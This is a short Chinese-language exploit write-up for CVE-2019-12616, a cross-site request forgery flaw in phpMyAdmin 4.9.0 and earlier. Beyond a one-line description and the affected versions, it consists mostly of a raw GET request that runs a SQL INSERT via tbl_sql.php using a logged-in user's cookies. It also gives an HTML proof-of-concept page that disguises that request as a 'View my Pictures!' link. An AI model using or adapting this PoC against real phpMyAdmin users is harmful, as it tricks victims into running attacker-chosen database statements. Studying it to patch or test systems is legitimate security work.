（CVE-2019-12616）Phpmyadmin CSRF
一、漏洞简介
4.9.0之前在phpmyadmin中发现了一个问题。发现一个漏洞，允许攻击者对phpMyAdmin用户触发CSRF攻击。攻击者可以欺骗用户。
例如通过指向受害者的phpMyAdmin数据库的一个损坏的<img>标记，并且攻击者可以潜在地将有效负载（例如特定的插入或删除语句）传递给受害者。
二、漏洞影响
Phpmyadmin <= 4.9.0
三、复现过程
GET http://www.0-sec.org:9000/tbl_sql.php?sql_query=INSERT+INTO+%60pma__bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show_query=1&db=phpmyadmin&table=pma__bookmark HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_connection=utf8mb4_unicode_ci; pmaUser-1=%7B%22iv%22%3A%22M16ZzlA0rqF9BZ1jFsssjQ%3D%3D%22%2C%22mac%22%3A%22804941d12fceca0997e181cbcb8427d68c668240%22%2C%22payload%22%3A%22mD9juTxAYhC7lA7XPWHWOw%3D%3D%22%7D; phpMyAdmin=9bdd66557e399fc1447bf253bc2dc133
Upgrade-Insecure-Requests: 1
Host: localhost:9000
攻击者可以很容易地创建一个假超链接，其中包含希望代表用户执行的请求，这样就可能由于错误地使用http方法而导致csrf攻击
#POC
<!doctype html>
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<meta charset="utf-8">
<title>POC CVE-2019-12616</title>
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<body>
<a href="http://www.0-sec.org:9000/tbl_sql.php?sql_query=INSERT+INTO+`pma__bookmark`+(`id`%2C+`dbase`%2C+`user`%2C+`label`%2C+`query`)+VALUES+(DAYOFWEEK('')%2C+''%2C+''%2C+''%2C+'')&show_query=1&db=phpmyadmin&table=pma__bookmark">View my Pictures!</a>
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